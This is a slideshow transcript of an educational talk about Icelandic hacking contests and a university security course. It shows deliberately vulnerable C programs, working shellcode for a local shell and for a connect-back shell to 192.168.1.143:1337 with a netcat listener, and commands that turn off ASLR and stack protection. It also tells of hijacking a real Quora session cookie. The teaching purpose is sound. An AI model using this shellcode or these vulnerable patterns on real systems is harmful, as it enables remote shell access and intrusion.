Download
have fun learning by hacking trausti saemundsson reykjavik university n.
Skip this Video
Loading SlideShow in 5 Seconds..
Have fun learning by hacking! Trausti Saemundsson, Reykjavik University PowerPoint Presentation
Download Presentation
Have fun learning by hacking! Trausti Saemundsson, Reykjavik University

Have fun learning by hacking! Trausti Saemundsson, Reykjavik University

88 Vues Download Presentation
Télécharger la présentation

Have fun learning by hacking! Trausti Saemundsson, Reykjavik University

- - - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript

  1. Have fun learning by hacking!Trausti Saemundsson, Reykjavik University

  2. Introduction • I am Trausti Saemundsson, a MSc student at Reykjavik University in Iceland • My supervisor is Ymir Vigfusson • I´m here in London doing research with Gregory Chockler on a multitenant cache algorithm Trausti Ymir Gregory

  3. More about myself • I have a BSc in Mathematics with focus on Computer Science • Went to the IMO (International Mathematical Olympiad) in 2008 • I really like programming contests! • Participated in: • Facebook Hacker Cup 2013 • NWERC 2012 in Delft, The Netherlands. First Icelandic team! • NCPC 2012 • IEEEXtreme 24-Hour Programming Competition 2012 • Google Code Jam 2012 • Projecteuler, 112 solved problems

  4. Topics for today • Today I´m going to tell you about two Icelandic hacking contests and show you a video! • I will introduce the necessary concepts for understanding what we were hacking • I will also introduce the schedule for a 3 week course “Computer Security” taught at Reykjavik University in May 2013

  5. Why should we learn how to hack? • To be able to defend ourselves! • In order to defend ourselves against hackers, we must know how they think • By participating in a hacking contest, students learn the concepts extremely fast

  6. Necessary concepts for today • Hacking: The craft of exploiting software to do something it is not supposed to do. • Buffer overflows, shellcodes and format string exploits • If you haven´t heard about those concepts, I will introduce them!

  7. Vulnerable echo function /* echo.c */void echo() { char buf[4]; /* Very small */ gets(buf); /* Dangerous function */ puts(buf); } int main() { printf(“Type a string:”); echo();} • Okay • Buffer overflow! unix>./echo Type a string:123 123 unix>./echo Type a string:123456789ABC 123456789ABC Segmentation Fault

  8. Safer version of the echo function /* safeecho.c */void echo() { char buf[4]; fgets(stdin, buf, 4); /* Read 3 bytes and add ‘\0’ */ puts(buf); } int main() { printf(“Type a string:”); echo();} • Okay • Okay as well! unix>./safeecho Type a string:123 123 unix>./safeecho Type a string:123456789ABC 123

  9. Buffer overflows • C stores all variables on stack, but also other important stuff! • E.g. the address of where it was last executing (called the return address) Stack frame for main void echo() { char buf[4]; gets(buf); puts(buf); } int main() { ... echo(); } Return address Stack grows down Old ebp buf Rest of stack frame for echo

  10. Buffer overflows Could return to anywhere! • The input from the user overwrites the return address! Stack frame for main input from user void echo() { char buf[4]; gets(buf); puts(buf); } int main() { ... echo(); } Return address Old ebp buf Rest of stack frame for echo

  11. Buffer overflows Could return to anywhere! • Where would we want to return? • Could return to OUR input buffer • Treated as machine code! Can execute anything Stack frame for main input from user void echo() { char buf[4]; gets(buf); puts(buf); } int main() { ... echo(); } Return address Old ebp buf Rest of stack frame for echo

  12. Shellcodes • What do we want to execute? • Could eject CDROM or delete all files • Could launch a shell (say „/bin/bash“) • Could open a new port and launch a shell there • The coolest thing to do with a buffer overflow is to launch a shell! • A small piece of machine code that launches a shell like /bin/bash is called a shellcode

  13. Shellcode for a local shell • When executed, this shellcode stops the currently running program and opens /bin/sh instead /* Spawn a local shell */char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  14. Shellcode for a connect back shell char connectbackshell[] = "\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89" "\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x68" "\xc0\xa8\x01\x8f" // IP: 192.168.1.143 "\x66\x68" "\x05\x39" // Port: 1337 "\xb2\x02\x66\x52\x89\xe1\x6a\x10\x51\x56\x89" "\xe1\xb3\x03\xb0\x66\xcd\x80\x99\x56\x8b\x1c" "\x24\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80" "\x75\xf8\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" • When executed, this shellcode stops the currently running program and opens a connect back shell to 192.168.1.143 on port 1337instead • The IP 192.168.1.143 must be listening on port 1337 with netcat: nc –l –vv –p 1337

  15. Buffer overflow protections • GCC stack protection • You can disable it by passing the compiler flag: -fno-stack-protector • Address space layout randomization (ASLR) • It can be disabled in Linux with: sysctl -w kernel.randomize_va_space=0 • Non-executable protection (NX Bit) • Disable it by booting Linux up with the parameter: noexec=off

  16. Getting past the non-executable protection • The non executable protection makes parts of the stack and the heap non-executable • We can get past the non-executable protection by using: • Return-oriented programming (ROP). • ROP is to cherry pick parts of the code that is ALREADY executable to put together our evil code • Like making a mosaic!

  17. Getting past the address randomization! • Address space layout randomization (ASLR)is a security method which randomizes the starting address of the stack, heap and the executable code • One way to get past this is to use NOP slides • NOP (0x90) is a machine language instruction for doing nothing

  18. Getting past the address randomization! • The technique is to make an exploit like this: <address><a lot of nops><shellcode> • We overwrite the return address with <address> and then we hope that some part of the NOP slide is located at this address • If that happens, NOPs get executed one by oneuntil our shellcode gets executed 

  19. Vulnerable Code for a Format String Exploit /* fm.c */int main() { char buf[128]; printf(“Type a string:”); gets(buf);printf(buf);} • Prints a value from the stack • Writes a value to the stack • Very dangerous! unix>./fm Type a string:%p 0xff8b7864 unix>./fm Type a string:%n unix>./fm Type a string:%n%n%n%n%n Segmentation fault

  20. Format string exploits • Format string vulnerabilities • Using printf (cmd); instead of printf (“%s”, cmd); • Lazy programmers… bugs like this still found! • Allows an attacker to investigate memory • Attacker can also write to an arbitrary address • Using the %nprimitive carefully • Can take over the program, even remotely

  21. The 2011 Hacking Contest • Vulnerable chat server running on an Ubuntu 11.04 server • The C source code is available at http://www.ymsir.com/contest.tgz • The contest had 4 different levels

  22. The 2011 Hacking Contest • Level 1: Read the source code and find a secret string • Level 2: Make a function print a secret message • Level 3: Spawn a connect back shell via a buffer overflow • Level 4: Use a format string exploit to spawn a local shell

  23. The 2011 Hacking Contest - Finals • Two persons finished the fourth level • They competed in a final standoff in the Icelandic television • Had to spawn a shell with a buffer overflow

  24. The 2012 Hacking Contest • One file given: http://ymsir.com/hacking/mystery.jpg • Several levels, with secret keywords to submit to www.ymsir.com/hacking/ • First one had to discover that the file was a gzipped jpg file • Next to run f5-steganography on the jpg file to extract a txt file with a link

  25. The 2012 Hacking Contest • The link contained a file • The file was a uuencoded C source code • The source code did a lot of random bit manipulations to the two arguments, a string and a number • The program then printed an IP address

  26. The 2012 Hacking Contest - Continued • The correct arguments to the C program were given as hints in previous stages • The IP address that came from the C program dumped some code on port 666 • This code was a password protected ZIP archive • 2d6aa9e26592e9cf8e40d7e6753b87ba was given at a previous stage and this is md5(cracks) so the password to the ZIP archive was cracks

  27. The 2012 Hacking Contest - Continued • The ZIP archive contained a TCPDUMP • By using wireshark to analyze the TCPDUMP, I found Ymir´s session cookie to www.quora.com • So I used this session cookie and changed his profile picture to a cat

  28. The 2012 Hacking Contest - Continued • He got revenge by booting my laptop up into single user mode and changing my facebook profile picture: • And then he said on my half on facebook: “Some people just want to see the world burn” • After that I settled for peace 

  29. The 2012 Hacking Contest - Continued • So I was not supposed to find this session cookie in the TCPDUMP but I was supposed to find a link to www.ymsir.com/ctf/ • This website contains: STAGE ZEBRA. Not authenticated. • When you give the website GET arguments: www.ymsir.com/ctf/?user=ctfit contains: *Hungry* for password

  30. The 2012 Hacking Contest - Continued • By using a hint from a previous level the password was f00d, so by giving another argument: www.ymsir.com/ctf/?user=ctf&password=f00d • This site contains a private RSA key! • It also contains an IP address in the HTTP header

  31. The 2012 Hacking Contest - Continued • Of course the RSA key was password protected with the password cracks • By using the RSA key, the username: ctf and the IP address one got into the server • The previous C source code had been compiled on this server with privileges of the user: ctf-final

  32. The 2012 Hacking Contest - Continued • So next step was to find a buffer overflow vulnerability in the source code! • Then exploit it! • And then you were eligible to compete in the finals

  33. The 2012 Hacking Contest - Finals • The finals were held on stage in a big cinema in Iceland • Every contestant got an Ubuntu 8.04 virtual machine with the same password • This virtual machine had several vulnerable C programs running • There was also a program /publishwhich we ran on the other computers to get points on the scoreboard

  34. The 2012 Hacking Contest - Video • Now I will show you a video of the contest!

  35. The 2012 Hacking Contest - Winner • I had a robust exploit ready which got me a connect back shell to all the other computers • I ran it in the beginning of the contest and put a while loop on every computer: • while true; do /publish trausti; sleep 1s; done & • Helgi Kristvin however uses a Dvorak keyboard and types extremely fast • Before I could change my SSH password, he connected to my computer and replaced /bin/ps with a program that printed an old output from /bin/ps • So I could not kill his ssh session into my computer!  Helgi Kristvin – The winner

  36. Further hacking! • The participants of the contests had tremendous fun! • Learnt a lot by themselves! • Also used resources like: http://smashthestack.org/ http://insecure.org/stf/smashstack.html • And of course gdb 

  37. Further hacking! • Ymir Vigfusson (www.ymsir.com) is the organizer of those hacking contests • He will also teach a 3 week course called Computer Security this spring • This course is focused on vulnerabilities rather than conventional security • More complex hacking techniques! • Schedule on next slide!

  38. Computer Security at Reykjavik University3 week course – This is the schedule: • Week 1 (24/4 - 30/4) • Review of x86 assembly & C. Day assignment: decompiling x86. (+5%) • Basic buffer overflows in C programs. Lab #1: Buflab (10%) • Shellcodes and stack overflows. Lab #2: Stacklab (10%) • Wireless security. Optional lab: Wirelab (+5%) • Week 2 (1/5 – 7/5) • Heap overflows. Lab #3: Presentation (10%) • Defenses (NX, ASLR). • Format string attacks. Lab #4: Formatlab (10%) • Week 3 (8/5-11/5) • Web/logic and injection attacks. Lab #5: SQLlab(10%) • Network security, spoofing, sniffing, botnets. • Exploiting randomness. Lab #6: Entropylab(10%) • Final written exam (14/5?) (40%. Minimum 5.0/10.0 to pass)

  39. Summary and final words • You saw examples of Buffer overflows, shellcodes and format string vulnerabilities • A brief overview of what happened at two Icelandic hacking contests! • I hope you enjoyed this presentation • If you haven´t already, I hope that you will be holding some Hacking Contests here! • Thank you!